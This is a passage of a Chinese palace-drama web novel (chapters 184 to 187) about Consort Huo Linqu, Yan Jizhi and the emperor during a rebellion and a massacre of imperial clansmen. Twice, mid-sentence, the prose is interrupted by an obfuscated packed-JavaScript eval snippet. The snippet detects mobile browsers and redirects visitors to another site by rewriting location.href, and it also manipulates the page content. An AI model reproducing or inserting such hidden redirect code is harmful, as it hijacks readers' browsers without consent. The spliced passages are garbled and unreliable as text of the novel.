“霁之,霁之——” 霍灵渠残存的清醒碰撞:“我们还是出去,皇帝心情差,也许很快会过来。” 晏霁之狠狠压抑道:“他知道舒窈在,他忙着呢,不会过来的。” “真的?”霍灵渠心有余悸,晏霁之搂着她,闭目不语,霍灵渠看到摆在高几的茶壶,目测能够到,霍灵渠探手,想拿茶壶,晏霁之执起茶壶倒下两杯茶,霍灵渠才发现,他额头沁着细密的薄汗,拿手绢给他擦擦。两个人喝过茶,晏霁之燥热的心渐宁。 “皇帝心情差?” “嗯,”霍灵渠曝料:“芮家处决前好些个都哑了。” “这是什么污言秽语都出来了。”否则能让他们死前还做哑巴,晏霁之讥诮,嫌恶道:“真就是一群吸血虫,不死绝就想永远扒着皇帝吸血。” “芮老太爷还真是,不止,是芮家还真是、即使造反失败了也没想过要遭什么罪罚。”霍灵渠感慨,晏霁之问何意,霍灵渠把她的猜想告诉他。 晏霁之摇头:“芮老头要是年轻个十岁,八成也要做做皇帝梦了。” “啊?”霍灵渠惊讶,晏霁之探究道:“他都这把岁数了还要这么折腾,他可是想把皇帝当傀儡,他若成了,还会放权吗,他死后他的儿孙接手会放权吗?接下来呢?” 霍灵渠掩唇:“这是,芮家?” 晏霁之没避讳:“想改朝换代,芮老头手上不能,他儿子手里也要做到。” 霍灵渠难以置信:“芮家在做梦吗?” 晏霁之赞同:“嗯,和佟家半斤八两,不,佟家强点,我这外祖父至少梦醒了,芮家,芮老头若是还活着也不可能再放得掉他的美梦、永远醒不了了。” “他怎么会就?”霍灵渠还是神奇:“皇家的宗室,嬴忱璧若被芮家害了,皇室宗亲会诛杀芮家且足以能除掉芮家的宗室简直数不胜数,简郡王这不到十岁的小王爷都能被推出来率众绞杀芮家人,还有出降的公主们,新都、瑞执,谁不能呀。” “嫌皇帝碍着他们,哼,没有嬴忱璧,他们死都不知道怎么死。”还真是就有不少想把保命符掀掉就想去找死的,晏霁之总结:“所以,嬴忱璧不是为芮家心情差?” 霍灵渠不明所以,晏霁之笑道:“皇帝都诛杀逆贼了怎么会还不明白芮家人的心思,都想害死他谋夺他家的江山了,嬴忱璧还会因为这种人心情差吗?” “那他为什么心情差?”霍灵渠不解。 “装得。”晏霁之猜,霍灵渠:“……” 霍灵渠捧着茶碗喝两口茶,略过道:“其实,我有点诧异他没把郭氏留下来。” “假若把郭庶人留下,还有大皇子呢,就算他把大皇子出继,也还是太伤及君威。何况他们逼宫那天夜里,他应该看都没正眼看过郭庶人。”晏霁之忖度。 “怎么可能?”霍灵渠反对:“郭氏教儿子杀父弑君,他还要亲眼见证。” “总归不可能向他求证了,我还是坚持我的看法,郭庶人死前,他不是嫌恶就是都懒得有任何情绪。”晏霁之说,霍灵渠琢磨:“你相信他能释怀?” “有何不能,他对芮家都放下了,之前拖再久,他想放开也就一瞬间的事,他放下了,绝不会再含糊,嬴忱璧怎会连这点魄力都没有,你看,他装得心情差,你不就没看出来。”晏霁之算算,最多再留两三刻钟,否则皇帝真要过来了。 晏霁之只觉甚是脱力,霍灵渠思量间,晏霁之问:“灵渠,庄太妃还活着吗?” “嗯?”霍灵渠回神:“哦,太上皇给的说辞是那五个人都已经处死了,皇帝告诉我,王夫人祖孙和两个假冒货确实已经处死了,但庄氏,太上皇还留着,在用酷刑折磨,皇帝猜圣人应该还会留庄氏些时日,至于是多久就说不好了。” “他没留那假冒货?”晏霁之讶异:“我还以为他会把那假冒货一同留着折磨。” “我也以为。”霍灵渠垂眸,陈述直觉。 “唉,”晏霁之叹息:“这是不想好像他心里扭曲吧。” 毕竟鞠家和庄家都诛九族了。 霍灵渠默然,晏霁之看她,斟酌又迟疑,拿定主意,晏霁之退出美人榻,再检查一遍,霍灵渠诧异问他怎么了,晏霁之确定没有人偷听,抱住她又握住她的手,定定心,告诉她:“灵渠,有件事,是你母亲,我可能猜到你母亲的身份了。” 霍灵渠美眸直直注目晏霁之,好像要疼到他心里,晏霁之都生寒:“真相可能,” “我已经想到了。”霍灵渠截住他的话。 晏霁之愣了,霍灵渠苦涩:“许是念念不忘……”霍灵渠哭都哭不出来,晏霁之晃个神慌忙抱紧她再把貂袍给她裹着让她暖和:“不怕不怕,不冷,我抱着你,不冷。” 霍灵渠揪心的疼:“你不该告诉我,我会对你有戒心,我怕我不敢放心,四个多月前,我猜到我母亲是谁后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598616|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我第一个直觉就是警惕我祖母,我是个做枭雄的料。” “生,死,我都陪着你。”晏霁之坚定而温柔:“不怕了啊。” 霍灵渠泪花飚出来,握紧拳头,她扭过脸:“你走吧,我想独自静一静。” 晏霁之紧紧拥住她片刻,把她放在美人榻。 “好。” 皇帝是忙,霍灵渠在除夕夜见到皇帝,养在谷王府的两位皇子也接回宫来过年了,送去翡素轩与楚美人守岁。 关雎宫寝殿,嬴忱璧温柔看着幼儿爬,霍灵渠搬只锦凳来坐在床边,揣着个攒盒,眼底戒备,怀疑皇帝跃跃欲试想踢开地铺睡床铺。 翡素轩将两个皇子送来关雎宫,宫人们带两位小殿下去洗漱好,来贵妃寝殿,三岁多的三皇子跑床里看弟弟,五岁多的二皇子在父皇身边踌躇,嬴忱璧当没看出来。 霍灵渠也当没看出来。 小孩转向霍贵妃,霍灵渠把攒盒给他,小孩抱着攒盒还眼巴巴的,霍灵渠把人抱过来,小家伙高兴了,二皇子鼓起勇气扯父亲的衣角,想跟父皇说话。 嬴忱璧带孩子去外间。 二皇子小脸有忧:“父皇,贵妃是不是在苛刻我母妃?” 嬴忱璧闻言,温情散逐:“谁告诉你的?” 二皇子举证据:“贵妃带着大家给将士们做棉袄,就把我母妃落下了。” “是贵妃带着关雎宫的人做棉袄,关雎宫以外,众人都是自发过来。”皇帝纠正。 “楚美人若想尽一点绵薄之力大可也过来,父皇是不知道,你这生母是个什么意思了,你还不到六岁,她就向你颠倒黑白想让你来给她挑事?”皇帝训斥。 二皇子彷徨看爹爹,霍灵渠让二皇子去看好弟弟们,二皇子又看看霍贵妃,闷头跑掉。 霍灵渠淡淡道:“是我没有派人去请楚美人,给将士们做棉衣,若请她,我很相信楚美人会愿意来,甚至她就等着我派人请她,是我没有给出台阶。” “请什么,旁人都自己来,偏她要派人去请,这是什么理?是楚美人自己矫情得够了。”皇帝眼底一丝冷意:“若只是矫情也罢了。” 霍灵渠冷眼旁观,她也还真说不出来,楚美人没有想法。大皇子没了,二皇子就是陛下的长子了,今夜就这么会儿,至于还要把这俩兄弟送来吗?是想两个皇子能和父皇多相处,就算是宫人的建议,楚美人能把人送来就是认同的。 三岁小孩哒哒跑来:“父皇,弟弟哭了。” 嬴忱璧:“……”皇帝看向贵妃,霍灵渠去内室哄小婴儿,二皇子踌躇怎么跟父皇说,嬴忱璧有模有样:“你们弟弟才八个多月,哭闹很寻常,弟弟哭跟你们没关系。” 二皇子脸色好些,三岁小孩高兴的扒着贵妃:“贵妃,我跟你睡。” 霍灵渠答应,嬴忱璧蠢蠢欲动:“贵妃,今夜不打地铺了,我们都睡床吧。” 霍灵渠心里呵呵,她果然没怀疑错,小孩们看霍贵妃,霍灵渠怕什么,有三个小孩呢:“除夕守岁,还有一个时辰才能安枕,让父皇带你们去看烟花吧。” 小孩子欢呼,拉着爹爹,嬴忱璧让孩儿裹好斗篷,他去吩咐宫人放烟花。 英王府也放烟花了,晏霁之独自倚窗。 数千里外,扬州城的夜空黑漆,扬州与杭州相距不过五百里,叛军在杭州城百里外了。 霍海啸是率大军在杭州,然剿灭叛军前谁能安枕。 姚伉恢在书房待到夜深人静,想回屋安置时意识到不对,心惊肉跳的看去,檀慈哼笑:“在想你们派出的死士怎么还没杀了我们侯爷和世子?” 刹那间,姚伉恢宛如眼球爆裂,在失去意识前只有一个想法,完了。 185. 第185章 辞旧迎新,爆竹响。 正徽六年的年初一,清早飘雪,城中结彩,百姓们未被远方的战事影响,欢喜过新年。皇帝嬴忱璧前往太微宫给太上皇贺新年,湘王和和两个弟弟还有得脸的宗亲们都来,这团聚喜庆的日子,皇室天家比寻常百姓家虽多些威严,依然红火热闹、温馨。 皇帝从大殿出来,看眼前雪花飘洒,仿佛能看见人们在冷冽下的热情。站过片刻,皇帝摆驾英王府。嬴忱璧原想传晏霁之伴驾去城中体察民情,英王府回禀,世子病了。 嬴忱璧到晏家,晏霁之还没病到站不起来,施礼请过安后才再躺下。 “真病了?”你昨儿个不是还好好的?嬴忱璧不想怀疑都得疑他,莫非是病给贵妃看? 晏霁之指自己的额头,嬴忱璧手放他额头上,是发烧了。 “昨夜做什么了?突然受风寒病倒烧起来了?”皇帝打趣。 “应该是回京途中受凉,回到家,心里稍安就发作出来了。”晏霁之猜,嬴忱璧惋惜:“朕还想初十让你离京去给魏王和冠军侯助一臂之力,看来是走不了了。” 晏霁之告饶:“您让我歇两个月吧。” 想晏霁之去年大半年是辛苦了,皇帝同意,但:“朕不会告诉贵妃,你病了。” 知道你没那么大方,晏霁之大方说:“您随意。” 嬴忱璧略满意,探过病,让爱卿养病吧,皇帝他走了。 晏霁之送过君王,饮下半杯热茶,他拉拉锦被,心念着眷念,闭目养病。 皇帝回到皇宫就去看爱妃,贵妃寝殿里摆着新摘的梅花,红梅点缀着雪白,冷清既艳,霍灵渠抱着小婴儿靠在床头,瞧着像病恹恹的精神差。二皇子和三皇子送去翡素轩了,贵妃让他们留在翡素轩和楚美人用膳吧。皇帝进殿,霍灵渠真想装睡。 “贵妃有不适?”皇帝瞟向摆在床边高几上的茶点,嬴忱璧呃…… “懒。”懒得没劲儿,霍灵渠想她前些天赶晏霁之走是不是有点凶了,不然过新年啊,他没个人影还连只言片语都没有,不是跟她生气难道是忘了? 嬴忱璧忍俊不禁,觉得贵妃怪可爱,想抚贵妃脸颊,霍灵渠侧头避过,皇帝笑意微敛:“贵妃让宫人送两个皇子去翡素轩还让皇子们尽可留在翡素轩用膳?” 霍灵渠不想理会皇帝,嬴忱璧注目着贵妃,霍灵渠有气无力:“你想责怪什么,你认为翡素轩能派人来请你,你想去就去,不想去就不去呀。” 嬴忱璧内心:他这个贵妃果然懂皇帝的心。嬴忱璧摆谱:“贵妃既知朕的顾虑又何必让两个皇儿在翡素轩久留?”你限定两个皇子两三刻钟就回来不就没事了? 霍灵渠懒怠敷衍:“臣妾愚笨,我不知您的顾虑。” 嬴忱璧瞪她,霍灵渠和小婴儿擦擦脸。 “贵妃相信楚美人会想跟朕示好?”嬴忱璧捧着茶盅抿口热茶,姑且谈谈。 “她有一个多月没跟两个皇子起过冲突了。”往前几月,三岁的三皇子都要跟她生气,二皇子想爹娘和好,没冲突,楚美人必没再否决过儿子。霍灵渠想,楚美人恨上霍家了吧,一个多月前,众目睽睽,霍贵妃把她绑来扔角落里。 “楚美人若是会转变,必与她自觉被霍贵妃羞辱有莫大联系吧?”皇帝说,霍灵渠嗯,嬴忱璧笑:“那贵妃还不拦着朕、打压楚美人?” 霍灵渠瞩目皇帝,嬴忱璧被贵妃看得心里发沉:“怎么了?” 霍灵渠郑重道:“就算四十年后吧,陛下晏驾,若二皇子继位,我信,霍家会很危险,假若陛下确信你不会传位给楚美人生的皇子,我与楚美人没有私怨。” 嬴忱璧诧异了:“贵妃相信,楚氏能记恨三四十年后去泄恨?” 霍灵渠肃然:“楚氏若能做太后,她容不得霍家,我相信我的直觉。” 嬴忱璧拧眉:“贵妃可有依据,朕虽从未想过传位给这俩皇儿,但也没想过让他们做富贵闲人,可,若楚氏容不得霍家能等个三四十年后去报复,她生的这俩皇子就只能做闲人,否则恐怕都不能消停,朕到底不愿意朕走后他们兄弟手足相残。” “楚美人自觉她是个什么样的人?”霍灵渠淡淡道:“一个完美的人,霍家在她眼中又是什么样的人家?奸邪之家,她若能做太后,哪能容得奸邪存于世间。” 嬴忱璧一个激灵,神情一凛。 “其实,陛下不必排斥和楚美人见面,楚家人暂住京中,必定拼尽全力帮楚美人复宠,也许很快就会有大臣替楚美人说话了。”霍灵渠劝,皇帝看向贵妃,问何意,霍灵渠解释:“有没有人相信楚美人还能崛起? 她可做过你几年的宠妃,她还有两个儿子,她会死犟到底吗,在她二十几岁年轻貌美、还有两个皇子的情况下,你自己觉得,谁会相信她到老死都只会是美人,或者二皇子娶妻了你给她晋为婕妤,她沉寂了半年,还能沉寂二十年吗?” “况且,这宫中有对楚美人的闲言碎语吗?”霍灵渠举例,嬴忱璧微愣,没明白这话,霍灵渠让皇帝给她倒杯茶,漫谈道:“从正二品娘娘被降到从五品美人,宫中都没有人嚼舌根说她的闲话,何故?当然因为她还有两个皇子啊。” “要不说子嗣重要呢。”霍灵渠抿口茶,把茶杯给皇帝,慢条斯理道:“没有子嗣,多得宠都会有人认为这宠妃不会长久,有子嗣不得宠,是宠妃都不会轻易跟她交恶。 我说你预感很准,我跟你赌俩铜板,午膳,翡素轩得派人来请你,是宫人建议的,她认同了就是她的意思。你们有俩儿子,还能不见面了?她懂得向陛下邀宠了,你们多见几面,还有她两个孩子在旁相助,我看不必等明年,她今年就能晋为婕妤。” “她若邀宠,她心思会是什么?”嬴忱璧抿口茶,指腹浅浅摩挲着茶盅,霍灵渠不言,嬴忱璧自问自答:“是不是,她都示好了,皇帝肯定该接着啊,她想做回宠妃易如反掌,她没有她示好之后还能不会复宠的想法。” 嬴忱璧问:“贵妃如何看待楚美人若想邀宠?” 霍灵渠中肯道:“楚氏若能老死不跟你示好,又能让人高看一眼了。” 嬴忱璧拿块糖蒸年糕尝尝。 宫婢进寝殿来禀告:翡素轩的宫人想求见陛下。 嬴忱璧看向贵妃,霍灵渠反看他:你看我做什么,嬴忱璧差点想咳,扯扯贵妃的衣袖,霍灵渠无语,让宫人去问来人有什么事?得知是两个皇子想请父皇用午膳,霍灵渠便斥道:“今天大年初一,还懂不懂规矩了,罚楚美人禁足半月、抄十遍宫规。” “喏。”宫娥伶俐地退下。 嬴忱璧喝茶,察觉有一道目光,皇帝看向贵妃,霍灵渠:“你就不想我也渴吗?” 让皇帝给你端茶,你还上瘾了?把霍贵妃的茶杯给她,贵妃饮过茶,皇帝他再接过来!嬴忱璧心里呱唧,假装不拘小节:“贵妃怎么看楚美人的两个孩儿?” “三皇子活泼,这点事,应该转头能忘;二皇子,或许会有点疙瘩吧。” “贵妃可有对策?”嬴忱璧斟酌。 “三皇子今年会满四岁,明年,你把两个孩子给她,小孩满七岁移出内廷,让她养两年也没什么。”霍灵渠反劝,嬴忱璧否道:“朕不想再让楚氏养育皇嗣。” 霍灵渠叹气:“我没办法,你跟小孩说的,生母晋做婕妤,他们就能回到生母膝下了,若是楚美人邀宠了,你不给她晋位啊?” 嬴忱璧好笑又不忿:“难道楚美人示好,我就得接着啊?” “不是啊,但若她坚持不懈,一年两年锲而不舍想讨你的欢心,你还拒绝她,对你们的小孩来说这还能是楚美人不想去争做婕妤养回自己的孩子吗?” 嬴忱璧眼眸一转,视线看向贵妃怀中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607085|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四皇子,霍灵渠神了,福至心灵:“你想作甚,你不是想拿儿子做文章吧,这可还是个小婴儿。” “贵妃多虑了。”嬴忱璧道:“朕只是觉得或许穆国公可以帮朕一把。” 霍灵渠看看这小婴儿,服了皇帝了:“你想用翁嫔,让我大伯和翊善伯府谈。” “宫中若是流传出对楚美人的闲言碎语,她就能躲起来几个月不见人。”嬴忱璧安抚:“贵妃放心,朕不会让皇儿们觉得是贵妃从中作梗。” “三皇子满七岁还要三年多。”霍灵渠提醒:“楚美人刚听到宫人对她的讽刺,能躲起来两三个月,讽刺多了也就不算什么了,否则她就能熬到老死不向你示好。” 皇帝弯弯唇:“但她脸皮厚了,对朕而言也就够了。” 霍灵渠讶然,楚美人能顶得住嫔妃和宫人们对她说三道四,皇帝呢,唉,霍灵渠感慨:“我都觉得你好像有点嫌恶她,想发泄还击你以前忍着她的憋闷。” 嬴忱璧:“……”皇帝训斥:“贵妃说什么胡话。” “你和你爹还是很多相像的。”霍灵渠说,嬴忱璧:你这又跳到哪去了:“比如?” “心里有点扭曲。”霍灵渠评价,嬴忱璧:你还连我爹都骂了是吧:“比如?” “你爹对庄太妃,给个痛快不行吗,庄家都诛九族了,这还得留着折磨到猴年马月?”霍灵渠就事论事:“再看你对楚美人这计较的,去年夏天,她给自己添个冰盆都要被你拿来说一说,里里外外都透着你挺想贬斥她。” 嬴忱璧深呼吸,不要跟贵妃计较,他去看书,刚站起来,皇帝弯腰,把儿子抱走。 霍灵渠拽过软枕来抱,这是看出来了她嫌空落落想抱着个什么是吧?! 忽然怔住,皇帝?霍灵渠哑然,霁之猜的是对的,郭氏死前,皇帝可能正眼都没看过,大半年前皇帝还多能忍,如今,皇帝连曾经的忍耐都在还击了。 皇帝,嬴忱璧已然释怀。 越州是雨雪天,湿漉漉的,隔天晴了,依然搅得人心烦意乱。 晏霁之返回京畿的消息传来,朱芑适大怒,很怒,不是他不能接受他让晏霁之逃脱了,而是这让他感觉到失控,他不能接受这样的失控,其实还是战事让他极易暴躁。 按计划,他们早该过江了,而不是还龟缩在南边! 孟怋乂走过长廊,第五先生喊住他问:“你说咱们这进展是快呢还是慢了?” “不重要。”孟怋乂语气平淡。 “那什么才重要?”第五先生倚着廊柱,像玩世不恭。 “朝廷对局势的把控。”孟怋乂言,第五锐利些:“你说我们在人家的掌中了?” “朱家有过十几年泼天荣宠,世子爷哪能懂得世事艰难。”孟怋乂寥寥道:“他以为拿下一座城就算是他的了,能这么轻易吗,可以是观望,可以是假降,都可以在他毫无防备时给他一击,乃至一座城就能把他给耗得精疲力竭。” 第五先生不自觉被他把心压沉了:“你想说什么?” “侯爷陷在潭州许多日了,侯爷还能过洞庭吗?”孟怋乂回望向书房,没有积雪冒寒,仍像透着被冰冻的孤立:“朱芑适还能过杭州吗?” 第五笑声:“这话可不能传到檀慈耳中,他可兴高采烈热情洋溢。” 孟怋乂要走开了,第五先生正经问:“宫蓬早走了,你是不是也要走了?” “宫蓬就在杭州城,你想见他,你能见得到。” “咱们应该事前去卜个卦,算算皇家的气运,这是还国运昌隆吧。”第五自嘲。 “是从南往北打是四方之中最难的,从金陵往北打都还没有人成功过,何况是从最南端往北,我想试试,而你挑了个傻主。”孟怋乂走掉,第五先生哼笑,笑着笑着,眼眶红了,他们连金陵城都还没走到,他们还走得到金陵吗? 186. 第186章 惊愕、难以置信、怀疑是假的,是所有闻讯者的第一反应。 山东许多高门惨遭杀害。 晏霁之拿着字条从病榻坐起,皇帝率几个大臣在太微宫,太上皇皱眉:“此事当真?” 不是圣人没得信,是面对这样一件事,不论皇帝还是太上皇必要再问过。 穆国公看向丞相,班丞相低垂眼眸,穆国公颔首道:“禀圣人,应没有偏差了。” 然后,太上皇不语了,皇帝嬴忱璧问:“几家遭难?” “禀陛下,可能有二十多家。”仍是穆国公霍秦川回禀。 “二十几家?”嬴忱璧思虑,房副相提道:“圣人、陛下,飞鸽传信不会差太多时候,反贼这两日也会得信,老臣恐,反贼会想颠倒黑白对朝廷泼脏水。” “对朝廷泼脏水?”嬴忱璧念遍。 “陛下,反贼承受不住了,此事对反贼就是押他入黄泉的索命绳。”堪比断双臂的痛,山东望族能不恨?又不是死绝被屠戮得一家都没了,还能不报复吗,叛军不能三两天消灭,朱存焳父子还不能吗?房副相道:“若不挣扎,反贼下个月就得死了。” 嬴忱璧沉默,晏副相补充:“陛下,经此一事很肯定这群蛮夷根本没想帮反贼造反,就是来抢劫,他们不会恋战必会尽快撤离。而南边的战事,朝廷可以部署反攻了,上半年结束两地的叛乱,反贼唯有抹黑朝廷才会有可能求得多几天的生机。” 皇帝看向太上皇,太上皇问:“如何防?” 四人没话了,反贼穷途末路必定会垂死挣扎,朝廷不防范,被泼脏水,朝廷防了,被指做贼心虚,朝廷怎么做都会被抹黑,那还如何防?霍秦川瞄瞄他们,得,一个比一个能装,霍秦川腹诽他这妹夫和大外甥当然不在意了,没幸灾乐祸都算厚道了。 有几个脑瓜拎不清的,想怀疑朝廷想帮朱家使坏,朝廷还能嫌多清算几家吗? 霍秦川想皇帝运道真是好,蛮夷来抢劫,有一样是抢不走的,最后呢? 当然是便宜给皇帝。 “暂且把控住京畿吧,不得有丝毫流言传出搅扰百姓安宁。”嬴忱璧交代。 “臣遵旨。”四人站起来领命。 霍灵渠是被爹爹和弟弟告知,霍漓江带霍桑柔和小娃来看贵妃,捎带着霍雄鹰。 “山东众多豪族遭屠戮?”霍灵渠不可思议:“有二十多家?” “大年夜,一家子人全在,人、财,全被洗劫一空。”霍雄鹰糟心道:“飞鸽传书来的,魏王和冠军侯还没走到,那一片什么情况不清楚,估计很悬了。” 霍漓江点评:“这就是来抢劫的,能抢到多少抢多少,抢光就走。” “真以为隔着海,我们打不过去啊?”霍雄鹰窝火,这都被欺到家门里了。 “说不定人家还很有想法,用不着你打过去,他们就会卷土重来,第一趟来打劫,趁着咱们跟反贼打得焦头烂额再来第二趟,那可就不只是打劫,想鸠占鹊巢了。”霍漓江预想,霍雄鹰火大的要暴走了,小祐娃娃吃着糕糕平静看这舅舅发癫。 小祐娃娃在姨母怀里,霍桑柔心有点沉凝的抱着姐姐的手臂,她不是怜悯泛滥,但她就是有点不是滋味,假若霍家遭难,她会给霍家报仇吗? 霍桑柔心闷闷的,她告诉自己才不要多事,但这样想,她一点也不畅快。 “我,我这就去找陛下。”霍雄鹰说着就要走,霍漓江拦道:“行啦,人家是想我们能打个几年打到朝廷受创连个蛮夷小国都收拾不了,朱家能有那么抗揍吗?皇帝绝不会让朱存焳过洞庭,朱芑适能过杭州吗?上半年,叛乱就会结束了。” 霍雄鹰这才灌茶水消消火。 朱家比京畿迟一天获信,朱存焳捏着薄薄的字条,当下心凉。 没两天,朱存焳刚安排好应对,急信报来,他眼前一黑,眼冒金星。 在京城外的皇室宗亲遭屠杀,近千人殁。 皇宫像被覆着重且浸满水的湿棉被,太微宫尤甚,皇帝令下,决不允许走漏半点风声。霍灵渠在暖阁望窗外,寒枝寒鸦,一枝红梅喜盈盈。闻讯的大臣在两位至尊面前噤若寒蝉,而皇帝,嬴忱璧和他爹吵了,皇帝要驱逐诲仰,太上皇不同意。 “朱家绝不会傻到去谋害宗亲,只有姬家人、一心想报仇的姬家人才会做此事!” “姬氏一族还有十几人!”太上皇攥拳:“皇帝怎么偏就要怀疑国师?” “孩儿不是不怀疑其他的姬家人,而是他们很可能是一伙的,姬家人都是一伙的,他们把报仇看得比自己重!”嬴忱璧目光如炬,太上皇冷静些:“皇帝回去吧。” 没有落雪,只有不尽凛冽,皇城和太微宫像陷在白茫茫的冰天。 立春来,愿能拂去一丝冷。 晏霁之还没有病愈,穿着保暖的长袄来到府门前,霍灵渠给他做的长袄。一辆不起眼的旧马车从偏门驶出,他望着车辆消失在阴霾天,仍然还又站会儿。 晏煦之夫妇俩在远处瞧着,晏煦之想,好了,清净了,佟氏和晏家彻底没关系了。 桓炜彤担忧:“佟梦如和佟梦佶能管得住这长姐吗?佟家可没富贵了,佟氏要走是以为佟家还有富贵,她看到佟家败落了,不会愿意留着的。” 晏煦之看媳妇傻得:“佟氏的娘家在服苦役,她要回娘家还能去哪儿?” 桓炜彤惊讶:“这是把佟氏送去?” 晏煦之哼:“真当我哥一点脾气都没有的?!” 桓炜彤缓缓吁出口气,感慨:“也是,清净了,彻底清净了。” 京畿没有如皇帝所愿得以安宁——在数千里外还有战祸危机之际。 正月元宵的深夜,四溅的血色将京中的权贵们惊醒,闻讯的人急赶到牡丹苑,丑时了,遍地死去的人,遍地冰凉的血,穆国公进宫禀奏,已调拨来八千士兵护卫安全,封锁全城。众多皇室宗亲惨遭杀害,粗估可能有八百多人遇害。 瑞执大长公主望着一个个被杀害的宗亲,心像被拧成绞丝。谷王妃抱着冰凉了的儿女,悲痛欲绝,谷王跪在地上,滕王愤懑地想去捶墙。班丞相见老穆国公,都想握老国丈的手。晏霁之侧过头,霍漓江都想别过头。霍巨浪去抱抱小灿哥儿。 霍擎几个月来的紧绷松懈,闭闭眼睛,看淡闺女的生死了。 晏诺找到世子耳语,晏霁之一愣,赶去顺郡王府,他赶到时秦王世子在清点,看见他,对他摇摇头,没有活口了,晏霁之眼酸地去找他小表弟和小表妹们。 湘王带着两个弟弟和魏王妃母子赶到牡丹苑时许多宗亲和大臣们都在了,看着惨状,遍地痛苦的哭喊,湘王眼前重影好像在物转星移,简郡王抱着九哥吴王的手臂,吴王跌退步,小王爷跟着跌退步,吴王碰碰嘴皮说:“八哥,大姐?” 湘王循着视线找过去,看见长姐横尸在灯火中,心酸得瞬间流了泪,带弟弟们走过去。魏王妃握紧儿子的小手,走过几个宗亲,来到已经去了的大姑姐身侧,魏王妃抱起大姑姐,魏王世子绷着脸跪下,年纪最小的简郡王抓着姐姐的手臂就哭了出来。 朱家人冒出来,在悲痛和沉重的人全都看了过去,几个朱氏一族的人从未如此清晰感受到过这般强烈的恨和冷,地面像被震断裂开将他们越推越远,再不可能相融。 不知谁振臂高喊:“抓起来!” 几个朱家人感觉到铺天盖地的绝望,想跑,脚下像被冻住拴着铁链,想跑都抬不起腿,他们和朱存焳也成死仇都没用了,朱家完了,整个朱氏一族都完了。 “灿哥儿,没了。”霍灵渠喃喃,眼睫颤颤。霍雄鹰也懊恼沮丧:“是啊,京外的消息,陛下封锁了,怕传出风声会让老百姓们多想、出现骚乱,那元宵夜,元宵夜就让照常热闹,他娘带着他出门看灯会,这郡主把弟弟 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瑞执大长公主沉默下,应好,滕王在旁看着,抹把脸,沉沉吐口气,大家懂,瑞执大长公主对太上皇哥哥心软了不想跟哥哥生气了,也心疼哥哥了。 皇帝和太上皇自在京畿外的宗亲被杀害以来强绷着的心弦都断了。 是夜,寂静,太上皇独自走上金銮殿,吃力地坐上宝座,看四面八方的黑夜向他涌来。 皇帝嬴忱璧独自坐在宣政殿的台阶,眼神痴痴。 全城封锁,将官们率军搜捕,抓获归案有一千多人,尽是亡命之徒,没有一个怕死的,除去在抓捕时抵抗被绞杀了的罪犯,活口皆送去法场斩首。 非常之时,莫说在两位至尊眼皮底下的臣子和宫人们,老百姓们都像每天悬着心在过。 霍灵渠去找皇帝遇上宗正卿来送宗谱,接过宗谱,她给皇帝送去吧。 “二皇子和三皇子还未出宫,臣妾想,叛乱平定前让两位皇子留在宫里吧。” “好。” 霍灵渠把宗谱给皇帝:“载在玉牒的宗亲还有六百多人。” 嬴忱璧拿过宗谱,霍灵渠告退,迈出步又忍不住他这副半死不活的模样,返回来问他:“你和这些族人熟吗?会不会有些宗亲你连什么模样都没见过?” 皇帝抬眸看向贵妃,没懂贵妃之意。 “是的吧。”霍灵渠辛酸痛责:“天下人,谁都可以死,就你家人死不得? 在京城外,有多少宗亲遇害了,你有想过要对京中的宗亲施以保护吗?你和你爹都没想过吧,为何不想,你凭什么自觉宗亲在京中不会出事,你家对人屠族了,仇人不能来反击? 魏王是去打仗,崇孝长公主欢天喜地,她不担心弟弟死在战场上,还是,她自觉魏王是去捡功绩,牺牲是别人的,你们只需踩着别人的牺牲来享尽荣华?” “那么你心里还有苍生吗,你要打仗,你们父子要打这场仗要把昌隆侯用尽了到底为社稷长治还是为一己私欲,若为国,多少人牺牲了你不知道吗,这点血值得君王这般消沉吗?若为私欲?”霍灵渠笑了,狠狠道:“那么你们这家子,活该了。” 皇帝猛地瞪向她,霍灵渠傲然对抗:“他人的命是草芥,唯独你嬴家人金贵?嬴忱璧,你做皇帝,你心中若没有苍生、没有对天下对百姓对社稷的大爱,而只有小家私欲,这就是天下给你的还击,纵使你在万万人之上,你的小家也休想逃得过天谴!” 霍灵渠勃然怒走,嬴忱璧低下头,手死死握着宗谱,像是要抱住自己。 翡素轩,楚美人被霍贵妃罚禁足半月,半月之期已过好几天,身边人也劝过好几回了,楚美人定下心,带着食盒去皇极宫,嬴忱璧得禀告,让蒋厚运去找贵妃。 御前总管找来,霍灵渠想按按太阳穴。 霍贵妃传令内廷,凡正四品婕妤之下嫔御,未经传召不得前去皇极宫打搅陛下。 187. 第187章 春风化雨,没尽料峭春寒,展望,水润润的绿意,遍暖人间。 阴霾去,霍舒窈踏着明媚进宫。 “你不准正四品之下的嫔御去皇极宫搅扰陛下,陛下没说什么吧?” “我快一个月没见过他了。”霍灵渠想把小婴儿放在丝绒地毯让小婴儿自己玩,小家伙不乐意,霍灵渠就再抱着。 霍舒窈感惜:“唉,谁不是呢,小心翼翼熬个把月才有点松泛。” 霍舒窈抿口茶,道:“你估摸着陛下会再宠楚美人吗?” 